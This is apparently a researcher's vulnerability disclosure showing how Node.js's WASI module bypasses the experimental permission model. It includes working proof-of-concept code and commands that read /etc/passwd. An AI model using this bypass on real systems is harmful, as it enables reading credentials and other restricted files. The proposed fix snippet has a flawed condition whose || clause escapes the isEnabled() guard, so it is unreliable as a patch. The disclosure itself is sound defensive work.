Skip to main content
  1. posts/

Node.js Permission Bypass via WASI Module

While investigating Node.js’s experimental permission model, I discovered a critical vulnerability that allows an attacker to bypass process-level restrictions enforced by the --experimental-permission flag by leveraging the built-in WASI (WebAssembly System Interface) module. This vulnerability enables arbitrary file system access even when these capabilities are explicitly restricted.

The Vulnerability #

The vulnerability exists in how Node.js handles the WASI module when process-level permissions are enforced. The --experimental-permission flag is designed to restrict file system access through the fs module, but the WASI module’s preopens object allows mapping sandbox directory structures to real paths on the host machine, effectively bypassing these permission checks.

The root cause is a combination of factors:

  • The WASI module is not disabled when process-level permissions are enforced
  • The preopens object in WASI allows direct mapping of virtual paths to real filesystem paths
  • WASI file operations bypass the permission checks that apply to the fs module
  • There’s no validation to ensure WASI preopens respect the permission model restrictions

While the Node.js documentation does call out that permissions apply to “the ability to access the file system through the fs module”, the WASI module provides an alternative path to filesystem access that completely circumvents these restrictions.

Affected Versions #

  • Affected versions: Node.js versions with the experimental permission model and WASI support (tested on Node.js 20.x and later versions)
  • Status: This vulnerability affects the experimental permission model feature when used alongside the WASI module

The vulnerability affects any Node.js application running with the --experimental-permission flag, which is used to:

  • Restrict file system access to specific paths
  • Prevent child process execution
  • Control access to native addons
  • Enforce security boundaries in Node.js applications

How It Works #

The attack works by leveraging the WASI module’s preopens functionality:

  1. WASI Access: The WASI module remains accessible even when process-level permissions are enforced
  2. Preopens Configuration: The preopens object in WASI allows mapping virtual directory paths to real filesystem paths
  3. Permission Bypass: WASI file operations bypass the permission checks that apply to the fs module
  4. File Access: A WebAssembly module compiled for WASI can then access files through these preopens, reading or writing to paths that should be restricted

The key insight is that the WASI module provides a separate filesystem access path that doesn’t go through the same permission checks as the fs module. By configuring preopens to map the root directory (/) to the actual root directory, a WASI-compiled WebAssembly module can access any file on the system, regardless of the permission restrictions in place.

Proof of Concept #

To demonstrate this vulnerability, create the following files:

bypass.js:

"use strict";

// zig cc --target=wasm32-wasi -shared -Os -s -o file.wasm file.c
// cat file.wasm | openssl base64
// node --experimental-permission --allow-fs-read=$(pwd) bypass.js

const { WASI } = require("wasi");

console.log(process.permission.has('fs.read', '/etc/passwd')); // false

console.log("--------------------------------------------------")

const wasi = new WASI({
	version: 'preview1',
	preopens: { '/': '/' },
	args: ['/etc/passwd'],
});

(async () => {
	const wasm = await WebAssembly.compile(getData());
	const instance = await WebAssembly.instantiate(wasm, { wasi_snapshot_preview1: wasi.wasiImport });
	wasi.start(instance);
})();

function getData(){
	const data = ` ** CONTENT FROM BASE64 ENCODED FILE ** `;
	return  new Buffer.from(data, 'base64');
}

file.c:

#include <assert.h>
#include <stdio.h>

int main(int argc, char** argv) {

  FILE* file = fopen(argv[0], "r");
  assert(file != NULL);

  char c = fgetc(file);
  while (c != EOF) {
    int wrote = fputc(c, stdout);
    assert(wrote != EOF);
    c = fgetc(file);
  }
}

Steps to reproduce:

  1. Compile the WebAssembly file:

    zig cc --target=wasm32-wasi -shared -Os -s -o file.wasm file.c
    

    (or use any other C to WASM compiler)

  2. Base64 encode the compiled file:

    cat file.wasm | openssl base64
    

    and paste that into the bypass.js file where it says ** CONTENT FROM BASE64 ENCODED FILE **

  3. Run the bypass:

    node --experimental-permission --allow-fs-read=$(pwd) bypass.js
    

This will display the contents of /etc/passwd, demonstrating that the permission restriction has been bypassed. Even though process.permission.has('fs.read', '/etc/passwd') returns false, the WASI module successfully reads the file.

If the policies were not bypassed, we would expect to see an error when attempting to read /etc/passwd through the fs module. However, with the WASI bypass, the file is successfully read and displayed, demonstrating that the permission model has been circumvented.

The Impact #

This vulnerability is particularly dangerous because:

  • Permission bypass: An attacker can completely bypass the experimental permission model, which is designed to restrict access to sensitive resources
  • Full filesystem access: Once bypassed, an attacker can read arbitrary files, including sensitive system files like /etc/passwd, SSH keys, AWS credentials, password files, and other authentication tokens
  • Security boundary violation: The permission model is intended to provide security boundaries for Node.js applications, and this bypass undermines that entire security model
  • Credential theft: An attacker could read sensitive files including SSH keys, AWS credentials, password files, and other authentication tokens
  • Data exfiltration: An attacker could steal sensitive code, files, or other private data from the system

The attack is especially concerning because it targets applications that rely on the experimental permission model to enforce security boundaries. These applications may be running in sensitive environments where file system access needs to be tightly controlled.

The Fix #

The recommended fix is to add permission checks when configuring WASI preopens. A check should be applied to ensure that any path being mapped in the preopens object is allowed by the permission model.

A potential patch could be applied at:

  • lib/wasi.js around line 89 where preopens are processed
  • Or on the native side in src/node_wasi.cc where WASI operations are handled

The fix should validate that each preopen path is allowed by the permission model:

if (permission.isEnabled() && (permission.has('fs.read', value) === false) || (permission.has('fs.write', value) === false)) {
  throw new Error('Access to this path has been restricted');
}

This would ensure that WASI preopens respect the same permission restrictions as the fs module, preventing the bypass.

Why This Matters #

The experimental permission model is designed to provide security boundaries for Node.js applications, allowing developers to restrict access to file system operations, child processes, and other sensitive resources. This vulnerability demonstrates that alternative filesystem access paths (like WASI) can be used to bypass these security boundaries if not properly restricted.

This vulnerability highlights the importance of:

  • Comprehensive permission enforcement: Security features must apply to all paths that can access restricted resources, not just the primary APIs
  • Defense in depth: Security features must be designed to prevent bypass through other system capabilities
  • Principle of least privilege: Alternative access paths should be disabled or restricted when security boundaries are enforced
  • Secure defaults: When security features are enabled, other potentially dangerous features should be disabled by default or properly restricted

Disclosure #

This vulnerability has been reported to the Node.js security team. The issue demonstrates that the permission model needs to be applied consistently across all filesystem access mechanisms, not just the fs module.

References #

  1. Node.js WASI Module Documentation
  2. Node.js Permission Model Documentation
  3. WASI Specification
  4. Node.js WASI Implementation
  5. Node.js WASI Native Implementation